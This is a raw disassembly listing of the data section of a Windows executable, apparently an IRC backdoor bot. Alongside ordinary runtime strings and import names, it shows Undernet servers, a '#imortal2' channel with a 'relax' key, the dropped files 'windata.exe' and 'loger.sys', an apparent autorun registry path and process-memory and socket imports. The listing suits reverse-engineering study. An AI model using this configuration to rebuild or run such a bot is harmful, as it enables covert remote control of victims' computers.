asc_439660: ; DATA XREF: seg002:off_4437D8o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
db 2 dup(0)
word_439862 dw 20h ; DATA XREF: seg002:off_4437DCo
aHH:
unicode 0, < h(((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h)
dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h)
dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h
dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h)
dd 1020010h, 3 dup(1020102h), 1010102h, 0
dword_439A68 dd 0FFFFFFFFh, 423284h, 423288h, 0 ; DATA XREF: sub_423257+2o
dd 0FFFFFFFFh, 4232C8h, 4232CCh, 0
dword_439A88 dd 0FFFFFFFFh, 4239CBh, 4239CFh, 2 dup(0) ; DATA XREF: sub_423327+5o
dd 7FF00000h, 0
dd 0FFF00000h, 0
dd 7FE00000h, 0
dd 200000h, 3 dup(0)
dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h
dd 0
dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h
dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan db 'atan',0 ; DATA XREF: sub_424391:loc_4245CAo
align 4
aCeil db 'ceil',0 ; DATA XREF: sub_424391:loc_4245C1o
align 10h
aFloor db 'floor',0 ; DATA XREF: sub_424391:loc_4245B8o
align 4
aModf db 'modf',0 ; DATA XREF: sub_424391+20Fo
align 10h
aExp2 db 'exp2',0 ; DATA XREF: sub_424391:loc_424543o
align 4
aExp10 db 'exp10',0 ; DATA XREF: sub_424391+1A2o
align 10h
aLog2 db 'log2',0 ; DATA XREF: sub_424391:loc_424510o
; sub_424391+192o
align 4
aPow db 'pow',0 ; DATA XREF: sub_424391:loc_42443Bo
; sub_424391+CFo ...
aLog10 db 'log10',0 ; DATA XREF: sub_424391:loc_4243FEo
; sub_424391+7Co ...
align 4
aExp db 'exp',0 ; DATA XREF: sub_424391+4Eo
; sub_424391+61o ...
dword_439B48 dd 0FFFFFFFFh, 42463Eh, 424642h ; DATA XREF: sub_42461D+2o
aAuthenticamd db 'AuthenticAMD',0 ; DATA XREF: seg000:004246C5o
align 8
dbl_439B68 dq 1.0 ; DATA XREF: sub_424720+6Dr
; sub_424BE6+2Ar ...
dbl_439B70 dq 0.0 ; DATA XREF: sub_42751C+8Dr
; sub_42751C+AFr ...
aE000 db 'e+000',0 ; DATA XREF: sub_42490B+93o
align 10h
dbl_439B80 dq 4.195835e6 ; DATA XREF: sub_424BE6+Fr
dbl_439B88 dq 3.145727e6 ; DATA XREF: sub_424BE6+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_424C26+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_424C26o
align 4
dword_439BB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424CB7+2o
dd offset word_424D5E
align 8
dd offset dword_424D24
dd offset dword_424D24+9
dword_439BD0 dd 0FFFFFFFFh, 424DA8h, 424DB1h, 0 ; DATA XREF: sub_424D74+2o
dword_439BE0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424DD8+2o
dd offset dword_424F14+2
align 10h
dd offset aLeL ; "‹Eì‹"
dd offset dword_424E58+49h
dword_439BF8 dd 0FFFFFFFFh, 4250F2h, 4250F6h, 0 ; DATA XREF: sub_424F82+2o
dword_439C08 dd 0FFFFFFFFh, 4254D2h, 4254D6h, 0 ; DATA XREF: sub_4254B5+2o
dword_439C18 dd 0FFFFFFFFh, 4254FFh, 425503h ; DATA XREF: sub_4254E2+2o
dword_439C24 dd 0 ; DATA XREF: sub_425B55+1Co
; sub_426DA0+1Eo ...
dword_439C28 dd 0FFFFFFFFh, 425E4Eh, 425E52h, 0FFFFFFFFh, 425C4Bh, 425C4Fh
; DATA XREF: sub_425B55+2o
dd 0FFFFFFFFh, 425D19h, 425D1Dh, 746E7572h, 20656D69h
dd 6F727265h, 2072h, 534F4C54h, 72652053h, 0D726F72h, 0Ah
dd 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6029ThisAppli db 'R6029',0Dh,0Ah
db '- This application cannot run using the active version of the Mic'
db 'rosoft .NET Runtime',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_443A8Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_426069+123o
; sub_426FC0+132o
align 4
asc_43A018 db 0Ah ; DATA XREF: sub_426069+107o
; sub_426FC0+FCo
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_426069+F5o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_426069+C1o
; sub_426FC0+CCo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_426069+8Eo
; sub_426FC0+8Bo
align 8
dword_43A058 dd 0FFFFFFFFh, 426E79h, 426E7Dh ; DATA XREF: sub_426DA0+2o
aProgram db 'Program: ',0 ; DATA XREF: sub_426FC0+108o
align 10h
aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra'
; DATA XREF: sub_426FC0+62o
db 'm',27h,'s',0Ah
db 'internal state. The program cannot safely continue execution and'
db ' must',0Ah
db 'now be terminated.',0Ah,0
aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: sub_426FC0:loc_42701Do
align 10h
aASecurityError db 'A security error of unknown cause has been detected which has',0Ah
; DATA XREF: sub_426FC0+4Co
db 'corrupted the program',27h,'s internal state. The program cannot sa'
db 'fely',0Ah
db 'continue execution and must now be terminated.',0Ah,0
align 4
aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: sub_426FC0+47o
align 4
dword_43A208 dd 0FFFFFFFFh, 426FF8h, 426FFCh, 78656E5Fh, 74666174h
; DATA XREF: sub_426FC0+5o
dd 7265h, 676F6C5Fh, 62h, 6E795Fh, 31795Fh, 30795Fh, 78657266h
dd 70h, 646F6D66h, 0
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aFabs db 'fabs',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
dword_43A2A8 dd 0FFFFFFFFh, 4283F0h, 4283F4h ; DATA XREF: sub_42831E+2o
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_428710+73o
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_428710+62o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_428710+47o
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_428710+3Fo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_428710+2Eo
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_428FE8:loc_4290D4o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_428FE8+CFo
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_428FE8+BEo
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_428FE8+A4o
align 4
dd offset dword_43A474
off_43A33C dd offset byte_429779 ; DATA XREF: sub_429712+20o
; sub_429823+26o
dd offset word_42974E
dd offset dword_43A4C0
off_43A348 dd offset byte_429795 ; DATA XREF: sub_42987E+33o
; sub_42987E+4Co
dd offset word_42974E
dd offset dword_43A50C
off_43A354 dd offset dword_4297BC ; DATA XREF: sub_4297E3+33o
dd offset word_42974E
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4297E3+Do
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42987E+Do
dd offset dword_43A550
off_43A388 dd offset dword_429998+12h ; DATA XREF: seg002:off_443FC4o
; seg002:off_443FDCo ...
dd offset dword_43A57C
off_43A390 dd offset dword_429A44 ; DATA XREF: sub_4299C6+Ao
; sub_4299D7+8o
dd offset dword_429A24+13h
aUnknownExcepti db 'Unknown exception',0
align 10h
dword_43A3B0 dd 0FFFFFFFFh, 429C94h, 429C98h, 0FFFFFFFFh, 429D21h, 429D25h
; DATA XREF: sub_429B7E+2o
dword_43A3C8 dd 0FFFFFFFFh, 429F28h, 429F2Ch, 0FFFFFFFFh, 429F9Ah, 429F9Eh
; DATA XREF: sub_429E31+2o
dd 48h, 0Eh dup(0)
dd offset dword_4437D4
dd offset dword_43A590
dword_43A424 dd 0Ah, 443FC4h, 2 dup(0) ; DATA XREF: seg001:0043A45Co
; seg001:0043A4A8o ...
dd 0FFFFFFFFh, 2 dup(0)
off_43A440 dd offset off_443FDC ; DATA XREF: seg001:0043A458o
; seg001:0043A4A4o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A440
dd offset dword_43A424+4
dword_43A460 dd 3 dup(0) ; DATA XREF: seg001:0043A484o
dd 2, 43A458h
dword_43A474 dd 3 dup(0) ; DATA XREF: seg001:0043A338o
dd offset off_443FDC
dd offset dword_43A460+4
off_43A488 dd offset off_443FFC ; DATA XREF: seg001:0043A4A0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A488
dd offset off_43A440
dd offset dword_43A424+4
dword_43A4AC dd 3 dup(0) ; DATA XREF: seg001:0043A4D0o
dd 3, 43A4A0h
dword_43A4C0 dd 3 dup(0) ; DATA XREF: seg001:0043A344o
dd offset off_443FFC
dd offset dword_43A4AC+4
off_43A4D4 dd offset off_44401C ; DATA XREF: seg001:0043A4ECo
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A4D4
dd offset off_43A440
dd offset dword_43A424+4
dword_43A4F8 dd 3 dup(0) ; DATA XREF: seg001:0043A51Co
dd 3, 43A4ECh
dword_43A50C dd 3 dup(0) ; DATA XREF: seg001:0043A350o
dd offset off_44401C
dd offset dword_43A4F8+4
off_43A520 dd offset off_44403C ; DATA XREF: seg001:0043A538o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A520
dword_43A53C dd 3 dup(0) ; DATA XREF: seg001:0043A560o
dd 1, 43A538h
dword_43A550 dd 3 dup(0) ; DATA XREF: seg001:0043A384o
dd offset off_44403C
dd offset dword_43A53C+4
dd offset dword_43A424+4
dword_43A568 dd 3 dup(0) ; DATA XREF: seg001:0043A58Co
dd 1, 43A564h
dword_43A57C dd 3 dup(0) ; DATA XREF: seg001:0043A38Co
dd offset off_443FC4
dd offset dword_43A568+4
dword_43A590 dd 1FF7Fh, 2007Fh, 20294h, 25F68h, 2A056h, 2A068h, 2A082h
; DATA XREF: seg001:0043A420o
dd 2A09Ah, 2A0ACh, 2A0BEh, 0
dword_43A5BC dd 3 dup(0) ; DATA XREF: sub_423257+Co
; sub_423257:loc_42326Ao
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 1, 0
dd 1, 4 dup(0)
dd offset byte_40F0F7
dd 3 dup(0)
dd offset byte_40F083
dd 2 dup(2), 3, 1, 43A5E8h, 2 dup(0)
dd 3, 1, 43A5F8h, 19930520h, 4, 43A5C8h, 2, 43A608h, 2 dup(0)
dd 0FFFFFFFFh, 42A060h, 19930520h, 1, 43A64Ch, 4 dup(0)
dd 0FFFFFFFFh, 42A072h, 0
dd offset dword_42A070+0Ah
dd 19930520h, 2, 43A670h, 4 dup(0)
dd 0FFFFFFFFh, 42A08Ch, 19930520h, 1, 43A69Ch, 4 dup(0)
dd 0FFFFFFFFh, 42A0A4h, 19930520h, 1, 43A6C0h, 5 dup(0)
dd offset off_443FC4
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 4299D7h, 0
dd offset off_443FDC
dd 0
dd 0FFFFFFFFh, 0
dd 28h, 429823h, 0
dd offset off_44401C
align 8
dd 0FFFFFFFFh, 0
dword_43A730 dd 28h, 429866h, 3, 43A71Ch, 43A700h, 43A6E4h ; DATA XREF: seg001:0043A754o
dword_43A748 dd 0 ; DATA XREF: sub_4297E3+2Ao
dd offset dword_4297BC+1Ch
dd 0
dd offset dword_43A730+8
dd 0FFFFFFFFh, 42A0B6h, 19930520h, 1, 43A758h, 4 dup(0)
dd 0FFFFFFFFh, 42A0A4h, 19930520h, 1, 43A77Ch, 5 dup(0)
dd offset off_443FFC
dd 0
dd 0FFFFFFFFh, 0
dword_43A7B4 dd 28h, 4298BEh, 3, 43A7A0h, 43A700h, 43A6E4h ; DATA XREF: seg001:0043A7D8o
dword_43A7CC dd 0 ; DATA XREF: sub_42987E+2Ao
dd offset dword_429798+19h
align 8
dd offset dword_43A7B4+8
dd 0FFFFFFFFh, 42A0B6h, 19930520h, 1, 43A7DCh, 4 dup(0)
dd 3A83Ch, 2 dup(0)
dd 3B008h, 2B000h, 3AA0Ch, 2 dup(0)
dd 3B024h, 2B1D0h, 5 dup(0)
dd 3AA64h, 3AA72h, 3AA80h, 3AA92h, 3AAA8h, 3AABEh, 3AAC6h
dd 3AAD6h, 3AAE6h, 3AAF8h, 3AB0Ch, 3AB1Eh, 3AB2Ch, 3AB3Ch
dd 3AB48h, 3AB58h, 3AB68h, 3AB76h, 3AB8Ch, 3AB98h, 3ABAEh
dd 3ABC4h, 3ABDAh, 3ABEAh, 3ABFEh, 3AC10h, 3AC20h, 3AC2Eh
dd 3AC46h, 3AC5Eh, 3AC86h, 3AC9Eh, 3ACB4h, 3ACC0h, 3ACCCh
dd 3ACE0h, 3ACEEh, 3AD04h, 3AD18h, 3AD2Ah, 3AD3Eh, 3AD4Ch
dd 3AD58h, 3AD70h, 3AD8Ah, 3AD9Ah, 3ADACh, 3ADBEh, 3ADCCh
dd 3ADDEh, 3ADF0h, 3AE08h, 3AE24h, 3AE3Eh, 3AE4Eh, 3AE68h
dd 3AE84h, 3AE90h, 3AE9Ch, 3AEAEh, 3AEC0h, 3AED4h, 3AEE4h
dd 3AEF2h, 3AF0Ch, 3AF1Eh, 3AF2Eh, 3AF3Ch, 3AF4Eh, 3AF5Eh
dd 3AF74h, 3AF82h, 3AF90h, 3AFACh, 3AFB8h, 3AFCEh, 3AFDEh
dd 3AFF2h, 3B2A2h, 3B292h, 3B282h, 3B276h, 3B260h, 3B24Eh
dd 3B23Ch, 3B228h, 3B218h, 3B1FEh, 3B1E4h, 3B1CCh, 3B1B2h
dd 3B196h, 3B186h, 3B176h, 3B166h, 3B154h, 3B136h, 3B128h
dd 3B118h, 3B106h, 3B0FAh, 3B030h, 3B03Eh, 3B058h, 3B064h
dd 3B076h, 3B088h, 3B09Ah, 3B0A8h, 3B0B6h, 3B0C4h, 3B0D4h
dd 3B0E4h, 3B0EEh, 3B2B8h, 0
dd 3B016h, 80000007h, 8000000Fh, 8000000Ch, 80000015h
dd 8000000Ah, 80000002h, 8000000Dh, 80000001h, 80000004h
dd 80000003h, 80000074h, 80000009h, 80000073h, 80000010h
dd 80000017h, 80000013h, 80000097h, 8000000Bh, 80000012h
dd 80000006h, 0
dd 784500AFh, 72507469h, 7365636Fh, 2E0073h, 736F6C43h
dd 6E614865h, 656C64h, 72430060h, 65746165h, 636F7250h
dd 41737365h, 1750000h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 347h
aSleep db 'Sleep',0
dw 248h
aLoadlibrarya db 'LoadLibraryA',0
align 2
dw 169h
aGetlasterror db 'GetLastError',0
align 2
dw 198h
aGetprocaddress db 'GetProcAddress',0
align 4
dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65540350h
dd 6E696D72h, 54657461h, 61657268h, 7C0064h, 656C6544h
dd 69466574h, 41656Ch, 654701CBh, 6D655474h, 74615070h
dd 4168h, 6F4D0264h, 69466576h, 41656Ch, 654701D5h, 63695474h
dd 756F436Bh, 746Eh, 72430069h, 65746165h, 65726854h, 6461h
dd 704F027Ah, 72506E65h, 7365636Fh, 13B0073h
aGetcurrentproc db 'GetCurrentProcessId',0
db '=',0
aCopyfilea db 'CopyFileA',0
db 0Ch
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 156h
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 83h ; ƒ
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
aZ_1 db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 10Ch
aGetcomputernam db 'GetComputerNameA',0
align 2
dw 16Ch
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 10h
dd 654701DFh, 72655674h, 6E6F6973h, 417845h, 784500B0h
dd 68547469h, 64616572h, 2470000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aP_1 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 21Ah
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aZ_2 db 'z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 26Bh
aMultibytetowid db 'MultiByteToWideChar',0
db 0A9h ; ©
db 2, 52h, 65h
aAdfile db 'adFile',0
align 10h
db 94h ; ”
db 3, 57h, 72h
aItefile db 'iteFile',0
db 59h ; Y
db 3, 54h, 72h
aAnsactnamedpip db 'ansactNamedPipe',0
aM_2 db 'M',0
aCreatefilea db 'CreateFileA',0
dw 387h
aWidechartomult db 'WideCharToMultiByte',0
dd 6554034Fh, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch
dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
a__2 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
db 'Å',0
aFindclose db 'FindClose',0
db '¼',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 10h
db '»',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ó',0
aFindnextfilea db 'FindNextFileA',0
db 'É',0
aFindfirstfilea db 'FindFirstFileA',0
align 4
db 0Eh
db 3, 53h, 65h
aTfilepointer db 'tFilePointer',0
align 2
dw 15Bh
aGetfilesize db 'GetFileSize',0
db 0D6h ; Ö
db 1, 47h, 65h
aTtimeformata db 'tTimeFormatA',0
align 2
dw 13Fh
aGetdateformata db 'GetDateFormatA',0
align 10h
db 0E1h ; á
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 0F4h ; ô
align 2
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 4
db 81h ;
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 16Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 297h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 98h ; ˜
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
db 0Ch
db 2, 48h, 65h
aApfree db 'apFree',0
align 10h
db 6
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 9Bh ; ›
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 37Ch
aVirtualqueryex db 'VirtualQueryEx',0
align 10h
db 0ACh ; ¬
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 724600EFh
dd 694C6565h, 72617262h, 1510079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 'ê',0
aFormatmessagea db 'FormatMessageA',0
db 2 dup(0), 2
aGlobalunlock db 'GlobalUnlock',0
align 2
dw 1F9h
aGloballock db 'GlobalLock',0
align 4
dd 6E550363h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h
dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp db 'CreateFileMappingA',0
align 4
db 12h
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 15Dh
aGetfiletime db 'GetFileTime',0
db '²',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 0B3h ; ³
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 52h ; R
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 285h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 170h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 1FAh
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 4
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
a@_1 db '@',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
dd 65480210h, 65527061h, 6F6C6C41h, 1C00063h
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
dd 745202CAh, 776E556Ch, 646E69h, 6152029Bh, 45657369h
dd 70656378h, 6E6F6974h, 1AF0000h, 53746547h, 74726174h
dd 6E497075h, 416F66h, 65470108h, 6D6F4374h, 646E616Dh
dd 656E694Ch, 20A0041h, 70616548h, 74736544h, 796F72h
dd 65480208h, 72437061h, 65746165h, 3760000h, 74726956h
dd 466C6175h, 656572h, 69560373h, 61757472h, 6C6C416Ch
dd 636Fh, 7349022Ch, 57646142h, 65746972h, 727450h, 654700F5h
dd 50434174h, 18B0000h, 4F746547h, 50434D45h, 0FC0000h
dd 43746547h, 666E4950h, 317006Fh, 48746553h, 6C646E61h
dd 756F4365h, 746Eh, 654701B1h, 64745374h, 646E6148h, 656Ch
dd 6547015Eh, 6C694674h, 70795465h, 33B0065h
aSetunhandledex db 'SetUnhandledExceptionFilter',0
dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 37B0000h
dd 74726956h, 516C6175h, 79726575h, 23A0000h, 614D434Ch
dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h
dd 57676E69h, 3600000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
aA_2 db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 4Dh ; M
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
aU_1 db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 14Fh
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 4
db 2Ah ; *
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 'å',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
db 0B2h ; ²
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1B5h
aGetstringtypew db 'GetStringTypeW',0
align 10h
db 3Eh ; >
db 1, 47h, 65h
aTcurrentthread db 'tCurrentThreadId',0
align 2
dw 212h
aHeapsize db 'HeapSize',0
align 2
dw 229h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 226h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 21Fh
aInterlockedexc db 'InterlockedExchange',0
dd 65530303h, 646E4574h, 6946664Fh, 656Ch, 34Eh dup(0)
seg001 ends
; Section 3. (virtual address 0003C000)
; Virtual size : 000A8000 ( 688128.)
; Section size in file : 000A8000 ( 688128.)
; Offset to raw data for section: 0003C000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg002 segment para public 'DATA' use32
assume cs:seg002
;org 43C000h
dword_43C000 dd 0 ; DATA XREF: sub_41F146+45o
dd offset loc_426F5A
dd offset dword_42A0C4+4
dd offset dword_42A0C4+1Bh
dword_43C010 dd 0 ; DATA XREF: sub_41F146+4Co
dword_43C014 dd 0 ; DATA XREF: sub_41F146+12o
dd offset aB?n ; "¡ ?N"
dd offset sub_4230FC
dd offset byte_42322F
dd offset loc_424652
dd offset dword_42555C+4Eh
dword_43C02C dd 0 ; DATA XREF: sub_41F146+17o
dword_43C030 dd 0 ; DATA XREF: sub_41F1B0:loc_41F217o
dd offset dword_41F8BC+0A1h
dword_43C038 dd 0 ; DATA XREF: sub_41F1B0+6Co
dword_43C03C dd 0 ; CODE XREF: sub_41F116+23p
; DATA XREF: sub_41F1B0:loc_41F236o
dd offset dword_42555C+61h
dword_43C044 dd 3 dup(0) ; DATA XREF: sub_41F1B0+8Bo
dword_43C050 dd 80000002h ; DATA XREF: sub_401000+24r
off_43C054 dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 43C1A8h, 80000001h, 43C178h
dword_43C068 dd 1A0Bh ; DATA XREF: sub_40A263+48Br
; sub_40A263+513r
dword_43C06C dd 1A0Bh ; DATA XREF: sub_40A263+559r
dword_43C070 dd 7E4h ; DATA XREF: sub_40274D:loc_405090r
dword_43C074 dd 45h ; DATA XREF: sub_40274D+1E88r
; seg000:0040B6CBr
dword_43C078 dd 7D1h ; DATA XREF: sub_40274D:loc_4046B9r
; seg000:loc_40BA78r
dword_43C07C dd 201h ; DATA XREF: sub_40274D:loc_404825r
word_43C080 dw 7C7h ; DATA XREF: sub_40274D:loc_4051A9r
align 4
dword_43C084 dd 1 ; DATA XREF: sub_40274D+5CEr
dword_43C088 dd 1 ; DATA XREF: sub_40A263:loc_40A58Er
; sub_41AEDD+Cr
byte_43C08C db 2Eh ; DATA XREF: sub_40274D+9A7r
; sub_40274D+A5Br ...
align 10h
dword_43C090 dd 5 ; DATA XREF: sub_40A800+39r
; sub_40A800+5Fr ...
dword_43C094 dd 4 ; DATA XREF: sub_4025EF+44r
; sub_40274D+252r ...
dword_43C098 dd 1 ; DATA XREF: sub_4025EF+3Br
; sub_40274D+24Cr
aIiknc db 'iiKnc',0 ; DATA XREF: sub_40274D:loc_404EF5o
; sub_40274D+6677o ...
align 4
aRx db 'rx',0 ; DATA XREF: sub_40274D:loc_40539Fo
align 4
aRelax_0 db 'relax',0 ; DATA XREF: sub_40274D+79ACo
; sub_40274D+7A63o
align 10h
aOslo_no_eu_und db 'oslo.no.eu.undernet.org',0 ; DATA XREF: sub_40A263+477o
; sub_40A263+504o
aImortal2 db '#imortal2',0 ; DATA XREF: sub_40A263+492o
; sub_40A263+51Ao
align 4
aRelax db 'relax',0 ; DATA XREF: sub_40A263+4A9o
; sub_40A263+52Co
align 4
byte_43C0DC db 7Ah ; DATA XREF: sub_40A263:loc_40A79Fr
; sub_40A263+54Ao
aAgreb_hr_eu_un db 'agreb.hr.eu.undernet.org',0
align 4
aImortal2_3 db '#imortal2',0 ; DATA XREF: sub_40A263+560o
align 4
aRelax_1 db 'relax',0 ; DATA XREF: sub_40A263+572o
align 4
aWindata_exe db 'windata.exe',0 ; DATA XREF: sub_40274D+1E75o
; sub_40A263+13Co ...
aLoger_sys db 'loger.sys',0 ; DATA XREF: seg000:00414B59o
align 4
aWindata db 'windata',0 ; DATA XREF: sub_401000+Bo
unicode 0, <->,0
aWindata_exe_0 db 'windata.exe',0
asc_43C13C db '+x',0 ; DATA XREF: sub_40274D+7AE0o
align 10h
aImortal2_0 db '#imortal2',0 ; DATA XREF: sub_40274D+1B58o
; sub_40274D+2E40o ...
align 4
aImortal2_2 db '#imortal2',0 ; DATA XREF: sub_40274D+41A7o
align 4
aImortal2_1 db '#imortal2',0 ; DATA XREF: sub_40274D+3DDDo
; sub_40274D+3F25o
align 4
off_43C164 dd offset a@_0 ; DATA XREF: sub_40274D+7A09r
; "*@*"
off_43C168 dd offset aMircV6_10Khale ; DATA XREF: sub_40274D+7EAr
; "mIRC v6.10 Khaled Mardam-Bey"
dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey"
